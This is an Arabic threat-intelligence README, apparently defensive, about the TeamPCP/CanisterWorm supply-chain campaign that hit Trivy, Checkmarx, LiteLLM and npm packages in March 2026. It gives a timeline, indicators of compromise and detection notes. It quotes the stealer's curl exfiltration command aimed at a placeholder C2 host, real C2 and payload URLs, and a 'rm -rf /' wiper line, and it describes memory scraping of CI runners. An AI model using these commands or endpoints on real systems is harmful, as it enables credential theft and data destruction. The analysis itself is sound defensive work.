
CVE-2026-33634 (CVSS 9.4) — الهجوم الأكثر تأثيرًا على سلسلة توريد CI/CD في عام 2026 حتى الآن.
CVE-2026-33634 (CVSS 9.4) — أخطر هجوم على سلسلة توريد CI/CD في 2026 حتى الآن.
في الفترة من 19 إلى 25 مارس 2026، نفذت الجهة الفاعلة TeamPCP (المعروفة أيضًا باسم DeadCatx3 وPCPcat وShellForce وCanisterWorm) اختراقًا متسلسلًا لسلسلة التوريد عبر خمسة أنظمة بيئية: GitHub Actions وDocker Hub وOpenVSX وnpm وPyPI. بدءًا من رمز GitHub PAT واحد لم تُدار عملية تدويره بالكامل، انتشرت الحملة عبر بائعين رئيسيين لأدوات الأمان مفتوحة المصدر (Aqua Security وCheckmarx)، وأربعة مستودعات GitHub Actions، وإضافتين لـ VS Code، وسجلات حاويات، وأكثر من 66 حزمة npm.
يوفر هذا المستودع تفصيلًا تقنيًا كاملًا، وقوائم مؤشرات اختراق منقّاة (مختبرة ضد الإيجابيات الكاذبة)، واستعلامات كشف جاهزة للنشر في Microsoft Defender XDR.
السبب الجذري: تدوير غير مكتمل لبيانات الاعتماد بعد خرق 28 فبراير. إما لم يتم إبطال رمز PAT الخاص بحساب الخدمة aqua-bot أو أن المهاجم رصد التوكن الجديد أثناء التدوير.
استخدم TeamPCP هذا الوصول المحتفظ به لدفع وسوم الإصدارات قسريًا إلى التزامات انتحالية ضارة. استنسخ كل التزام مزور البيانات الوصفية للأصلي (المؤلف، الطابع الزمني، الرسالة) مع استبدال سكربت نقطة الدخول بحمولة السارق. لم تظهر صفحة الإصدارات على GitHub أي تغيير مرئي — حتى شارة "Immutable" عُرضت بشكل طبيعي.
السارق — وهو سكربت entrypoint.sh مكون من 204 سطرًا يعرّف نفسه باسم "TeamPCP Cloud stealer" — ينفذ هجومًا من ثلاث مراحل:
المرحلة 1: استخراج البيانات من الذاكرة
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
المرحلة 2: مسح بيانات الاعتماد في نظام الملفات
يفحص أكثر من 50 مسارًا حساسًا بما في ذلك:
~/.ssh/*)~/.npmrc).envالمرحلة 3: استخراج البيانات المشفرة
tpcp.tar.gzcurl POST إلى نطاقات محاكاة (typosquat) خاصة بالبائعtpcp-docs أو docs-tpcp في حساب GitHub الخاص بالضحية باستخدام GITHUB_TOKEN المسروقعلى أنظمة Linux غير المرتبطة بـ CI، يقوم البرنامج الخبيث بما يلي:
~/.config/sysmon/sysmon.py)مكّنت بيانات الاعتماد المسروقة من موجة Trivy من اختراق النظام البيئي لـ Checkmarx. استخدمت كل موجة جديدة نطاق C2 محاكيًا مختلفًا لتجنب قوائم الحظر من الموجة السابقة:
| الموجة | نطاق C2 | محاكاة لـ |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| الإضافة | الإصدار الضار | الإصدار الآمن |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
تم نشر الإضافتين بفارق 12 ثانية عند الساعة 12:53 UTC يوم 23 مارس عبر حساب ast-phoenix. عند التفعيل، يتحقق environmentAuthChecker.js من بيانات اعتماد موفّر السحابة، ثم يسحب سارق المرحلة الثانية من checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| الصورة | الوسوم الضارة |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| الحزمة | الإصدارات | الملف المزوّد بباب خلفي |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
حمولة base64 متداخلة ثلاث مرات مع مجموعة أدوات الحركة الجانبية في K8s. الثبات عبر sysmon.service الذي يستقصي checkmarx.zone/raw.
نمط استخراج البيانات متطابق عبر جميع الموجات:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
استراتيجية النطاق المحاكي متعمدة: المحلل الذي يراجع سجلات CI/CD يرى حركة curl إلى ما يبدو أنه نطاق البائع الخاص بالإجراء. دون مقارنة دقيقة، يمر scan.aquasecurtiy.org على أنه aquasecurity.org في مراجعة سريعة للسجلات.
يمكن للمهاجم فقط فك تشفير البيانات المسروقة — مفتاح جلسة AES مشفر بـ RSA-OAEP باستخدام مفتاحه العام.
خلال 24 ساعة من اختراق Trivy، مكّنت رموز npm المسروقة دودة ذاتية الانتشار عبر أكثر من 66 حزمة (141 قطعة برمجية ضارة).
ما يجعل كانسترورم بارزة:
tdtqy-oyaaa-aaaae-af2dq-cai هي عقد ذكي لامركزي — لا توجد نقطة إزالة واحدةget_latest_link, http_request, update_linkyoutube.com، ينام الباب الخلفيpgmon (مراقبة PostgreSQL)/tmp/pglog، وتُتتبع الحالة في /tmp/.pg_stateالنطاقات المخترقة المعروفة: @emilgroup/*, @teale.io/* (نسخة ذاتية الانتشار في @teale.io/eslint-config v1.8.11, v1.8.12)
نسخة تدميرية تستهدف الأنظمة الإيرانية على وجه التحديد:
kamikazerm -rf / --no-preserve-root بصلاحيات sudoيتم الكشف عبر فحوصات المنطقة الزمنية والإعدادات المحلية للنظام.
اسم القاعدة: TeamPCP Supply Chain C2 and Malware IOC Match
الخطورة: عالية
الفئة: CommandAndControl
التكرار: كل ساعة
راجع detection/defender_xdr_query.kql للاستعلام الكامل بلغة KQL.
يغطي الاستعلام:
تم توفير ملف CSV جاهز للاستيراد في iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. وقد تم اختبار هذا الملف ضد الإيجابيات الكاذبة في بيئة مؤسسية إنتاجية.
| المنصة | الكشف |
|---|---|
| Palo Alto Cortex XDR | قاعدة ioc.linux.shaihulud.2 — الوصول إلى بيانات الاعتماد على مشغّلات GitHub Action |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| الرابط | الوظيفة |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | تنزيل حمولة المرحلة الثانية |
checkmarx[.]zone/vsx |
| الاسم | الموجة |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
تم اختبار استعلامات الكشف وملف IOC CSV في هذا المستودع على بيئة إنتاجية تعمل بـ:
تمت إزالة مؤشرات الاختراق التالية بسبب إيجابيات كاذبة مؤكدة:
MIT — استخدم وشارك وعدّل بحرية. يُقدَّر ذكر المصدر.
المؤلف: Ugur Can Ates — قائد فريق SOC ومهندس أمن أول
آخر تحديث: 25 مارس 2026
| التاريخ (UTC) | الحدث |
|---|
| 20 فبراير 2026 | تم إنشاء حساب hackerbot-claw؛ ويبدأ بفحص المستودعات بحثًا عن سير عمل pull_request_target القابلة للاستغلال |
| 28 فبراير 2026 | أول اختراق لـ Trivy عبر طلب PWN؛ وتم استخراج بيانات الاعتماد |
| 1 مارس 2026 | تحاول Aqua Security احتواء الاختراق — تدوير بيانات الاعتماد غير مكتمل |
| 19 مارس 17:43 | الضربة الرئيسية: يدفع TeamPCP قسريًا 75/76 وسمًا في aquasecurity/trivy-action وجميع الوسوم السبعة في setup-trivy عبر حساب الخدمة المخترق aqua-bot |
| 19 مارس 18:22 | تم نشر Trivy v0.69.4 المزوّد بباب خلفي إلى GitHub Releases وDocker Hub وGHCR وECR |
| 20 مارس 05:40 | تُغلق نافذة اختراق Trivy-action (نحو 12 ساعة) |
| 20 مارس 20:45 | تم اكتشاف انتشار CanisterWorm عبر npm — تعرضت أكثر من 47 حزمة للاختراق |
| 22 مارس 20:31 | يشوّه TeamPCP جميع المستودعات الـ44 في مؤسسة aquasec-com على GitHub في دفعة برمجية مدتها دقيقتان |
| 22 مارس | تم دفع صور Docker Hub 0.69.5 و0.69.6 بنفس حمولة السارق |
| 23 مارس 02:53 | تبدأ موجة Checkmarx: نشر نسخ ضارة ast-results v2.53.0 وcx-dev-assist v1.7.0 إلى OpenVSX عبر حساب ast-phoenix |
| 23 مارس 12:58 | تم دفع جميع الوسوم الـ35 لـ Checkmarx/kics-github-action قسريًا عبر حساب cx-plugins-releases المخترق |
| 23 مارس 15:41 | تبلّغ Checkmarx عن حل مشكلة OpenVSX |
| 23 مارس 16:50 | تم إيقاف KICS GitHub Action بعد بلاغ مستخدم |
| 23 مارس 22:25 | تبلّغ Sysdig أن Checkmarx/ast-github-action v2.3.28 مخترق أيضًا |
| 24 مارس 08:30 | موجة LiteLLM: نشر litellm المُلوّث v1.82.7 وv1.82.8 إلى PyPI باستخدام بيانات اعتماد مسروقة |
| 24 مارس 11:25 | تضع PyPI إصدارات LiteLLM الضارة في العزل |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| المستودع | الوسوم المخترقة | نافذة التعرض (UTC) | نقطة الدخول |
|---|
aquasecurity/trivy-action | 75 من 76 (الآمن: 0.35.0) | Mar 19 17:43 – Mar 20 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | جميع الوسوم السبعة | Mar 19 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | جميع الوسوم الـ35 | Mar 23 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (على الأرجح جميعها) | Mar 23 ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| التجزئة | الوصف | المصدر |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | entrypoint.sh الضار لـ Trivy | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm الموجة 4 — الشكل النهائي | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm الموجة 3 — اختبار الانتشار الذاتي | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm الموجة 2 — باب خلفي جاهز عبر ICP | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm الموجة 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm الموجة 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm الموجة 3+ — deploy.js مصغّر | Aikido Security |
| المؤشر | النوع | الغرض |
|---|
83.142.209.11 | IP | خادم C2 (checkmarx.zone) |
45.148.10.212 | IP | خادم C2 (scan.aquasecurtiy.org) |
checkmarx[.]zone | نطاق | C2 — موجة Checkmarx/KICS/LiteLLM |
scan.aquasecurtiy[.]org | نطاق | C2 — موجة Trivy |
models.litellm[.]cloud | نطاق | C2 — موجة LiteLLM على PyPI |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | نطاق | C2 بالحاوية ICP للتسليم الصامت |
| نقطة استخراج البيانات |
checkmarx[.]zone/raw | استقصاء الثبات (50 دقيقة) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | C2 بالحاوية ICP |
| المسار | الغرض |
|---|
~/.config/sysmon/ | دليل الباب الخلفي |
~/.config/sysmon.py | باب خلفي بلغة بايثون |
~/.config/systemd/user/sysmon.service | ثبات عبر systemd |
~/.config/systemd/user/pgmon.service | ثبات CanisterWorm (انتحال PostgreSQL) |
/tmp/pglog | ملف ثنائي تم تنزيله |
/tmp/.pg_state | حالة استقصاء C2 |
| المؤشر | مصدر الإيجابية الكاذبة |
|---|
setup.sh (اسم ملف) | مجموعات Ansible، وذاكرة تخزين إضافات Claude Code، وسكربتات Bitnami |
service.py (اسم ملف) | Ansible module_utils، وprotobuf، وboto3، وFreeIPA، وK8s core |
deploy.js (اسم ملف) | ملف npm/node قياسي |
169.254.169.254 (عنوان IMDS) | وكيل FortiMonitor، Oracle AHF — مراقبة شرعية |
icp0.io (النطاق الأصلي) | واسع جدًا، يلتقط حركة ICP شرعية |
hooks.slack.com (سطر الأوامر) | تكاملات Slack شرعية |
discord.com/api/webhooks (سطر الأوامر) | تكاملات Discord شرعية |
| التقنية | المعرّف | السياق |
|---|
| Supply Chain Compromise: Software Dependencies | T1195.002 | تسميم وسوم GitHub Actions، OpenVSX، npm، PyPI |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | سرقة AWS IMDS من مشغّلات CI |
| Credentials from Password Stores | T1555 | مسح بيانات الاعتماد بنظام الملفات (أكثر من 50 مسارًا) |
| OS Credential Dumping | T1003 | استخراج البيانات من /proc/mem في Runner.Worker |
| Exfiltration Over C2 Channel | T1041 | tpcp.tar.gz مشفر إلى نطاقات محاكاة |
| Web Service | T1102 | حاوية ICP كـ C2 للتسليم الصامت |
| Systemd Service | T1543.002 | ثبات عبر pgmon.service وsysmon.service |
| Ingress Tool Transfer | T1105 | تنزيل checkmarx-util-1.0.4.tgz |
| Acquire Infrastructure: Domains | T1583.001 | نطاقات محاكاة لكل موجة |
| المصدر | الرابط |
|---|